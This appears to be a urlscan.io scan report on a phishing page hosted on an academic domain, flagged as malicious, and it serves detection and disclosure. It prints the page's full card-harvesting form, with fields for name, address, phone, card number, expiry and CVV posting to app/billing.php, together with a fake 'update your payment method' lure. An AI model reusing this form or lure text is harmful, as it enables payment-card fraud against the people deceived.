ic-cite.ulm.ac.id Open in urlscan Pro
103.195.91.180  Malicious Activity! Public Scan

Form analysis
1 forms found in the DOM

POST app/billing.php

<form action="app/billing.php" method="post" id="formx">
  <div class="nfInput nfInputOversize">
    <div class="nfInputPlacement">
      <label class="input_id" placeholder="firstName">
        <input type="text" name="firstName" class="nfTextField hasText successText" value="" id="id_firstName" tabindex="0" autocomplete="false">
        <label for="id_firstName" class="placeLabel">First Name</label>
      </label>
    </div>
    <div class="nfInputPlacement">
      <label class="input_id" placeholder="firstName">
        <input type="text" name="lastname" class="nfTextField hasText successText" value="" id="id_lasttName" tabindex="0" autocomplete="false">
        <label for="id_lasttName" class="placeLabel">Last Name</label>
      </label>
    </div>
    <div class="nfInputPlacement">
      <label class="input_id" placeholder="firstName">
        <input type="text" name="address" class="nfTextField" id="id_add" value="" tabindex="0" autocomplete="false">
        <label for="id_add" class="placeLabel">Address</label>
      </label>
    </div>
    <div class="nfInputPlacement">
      <label class="input_id" placeholder="firstName">
        <input type="text" name="city" class="nfTextField" id="id_city" value="" tabindex="0" autocomplete="false">
        <label for="id_city" class="placeLabel">City</label>
      </label>
    </div>
    <div class="nfInputPlacement">
      <div class="col-md-6 float-left" style="padding: 0px;">
        <label class="input_id" placeholder="firstName" style="width: 100%;">
          <input type="text" name="state" class="nfTextField" id="id_state" value="" tabindex="0" autocomplete="false">
          <label for="id_state" class="placeLabel">State</label>
        </label>
      </div>
      <div class="col-md-6 float-left zipzap">
        <label class="input_id" placeholder="firstName" style="width: 100%;">
          <input type="text" name="zip" class="nfTextField" id="id_zip" value="" tabindex="0" autocomplete="false">
          <label for="id_zip" class="placeLabel" style="padding-left: 14px;">Zip</label>
        </label>
      </div>
    </div>
    <div style="clear:both;"></div>
    <div class="nfInputPlacement" style="margin-top: 10px;">
      <label class="input_id" placeholder="firstName">
        <input type="text" name="phone" class="nfTextField hasText successText" value="" id="id_phone" tabindex="0" autocomplete="false">
        <label for="id_phone" class="placeLabel">Phone</label>
      </label>
    </div>
    <h3 class="update" style="margin-bottom: 17px;font-size: 18px;" id="update_nm">Update your payment information.</h3><img src="http://liluzi.cf/i/yts/n1.png" class="hide">
    <p style="font-size: 13px;">Your monthly membership is billed on the first day of each billing period.</p>
    <div>
      <span class="logos logos-block" data-reactid="21" style="float: left;margin-bottom: 7px;">
        <span class="logoIcon VISA" data-reactid="22"></span>
        <span class="logoIcon MASTERCARD" data-reactid="23"></span>
        <span class="logoIcon AMEX" data-reactid="24"></span>
        <span class="logoIcon DISCOVER" data-reactid="24"></span>
        <span class="logoIcon DINERS" data-reactid="24"></span>
      </span>
    </div>
    <div style="clear:both;"></div>
    <div class="nfInput nfInputOversize">
      <div class="nfInputPlacement">
        <label class="input_id" placeholder="firstName">
          <input type="text" name="cnxxx" class="nfTextField crzebi" id="id_xccaaa" value="" tabindex="0" autocomplete="false" style="background-position: 98.5% 82%;">
          <label for="id_xccaaa" class="placeLabel">Credit Card</label>
        </label>
      </div>
      <div class="nfInputPlacement">
        <div class="col-md-6 float-left" style="padding: 0px;">
          <label class="input_id" placeholder="firstName" style="width: 100%;">
            <select name="eppp_MM" id="id_exx1" class="nfTextField hasText">
              <option value="">MM</option>
              <option value="01">01</option>
              <option value="02">02</option>
              <option value="03">03</option>
              <option value="04">04</option>
              <option value="05">05</option>
              <option value="06">06</option>
              <option value="07">07</option>
              <option value="08">08</option>
              <option value="09">09</option>
              <option value="10">10</option>
              <option value="11">11</option>
              <option value="12">12</option>
            </select>
            <label for="id_state" class="placeLabel">Month</label>
          </label>
        </div>
        <div class="col-md-6 float-left zipzap">
          <label class="input_id" placeholder="firstName" style="width: 100%;">
            <select name="eppp_YY" id="id_exx2" class="nfTextField hasText">
              <option value="">YY</option>
              <option value="2021">2021</option>
              <option value="2022">2022</option>
              <option value="2023">2023</option>
              <option value="2024">2024</option>
              <option value="2025">2025</option>
              <option value="2026">2026</option>
              <option value="2027">2027</option>
            </select>
            <label for="id_zip" class="placeLabel" style="padding-left: 14px;">Year</label>
          </label>
        </div>
      </div>
    </div>
    <div style="clear:both;"></div>
    <div class="nfInputPlacement" style="margin-top: 10px;">
      <div class="col-md-12 float-left" style="padding: 0px;">
        <label class="input_id" placeholder="firstName" style="width: 100%;">
          <input type="text" maxlength="4" name="CXXVX" class="nfTextField" id="id_scv" value="" tabindex="0" autocomplete="false">
          <label for="id_scv" class="placeLabel">Security Code (CVV)</label>
        </label>
      </div>
      <input type="hidden" name="next">
      <button class="btn login-button btn-submit btn-small continue-btn" id="btn_zebi" type="button" autocomplete="off" tabindex="4"><!-- react-text: 26 -->Continue<!-- /react-text --></button>
    </div>
  </div>
</form>

Text Content

Sign out


PLEASE UPDATE YOUR PAYMENT METHOD!

Dear ,

Sorry for the interruption, but we are having trouble authorizing your Payment
Method.

To protect the informations of our customers, our system has temporarily placed
restrictions on your account until your informations has been validated against
our system.

you'll be able to get your account back just after finishing this steps


UPDATE YOUR BILLING INFORMATION.


First Name
Last Name
Address
City
State
Zip

Phone


UPDATE YOUR PAYMENT INFORMATION.

Your monthly membership is billed on the first day of each billing period.



Credit Card
MM 01 02 03 04 05 06 07 08 09 10 11 12 Month
YY 2021 2022 2023 2024 2025 2026 2027 Year

Security Code (CVV)
Continue

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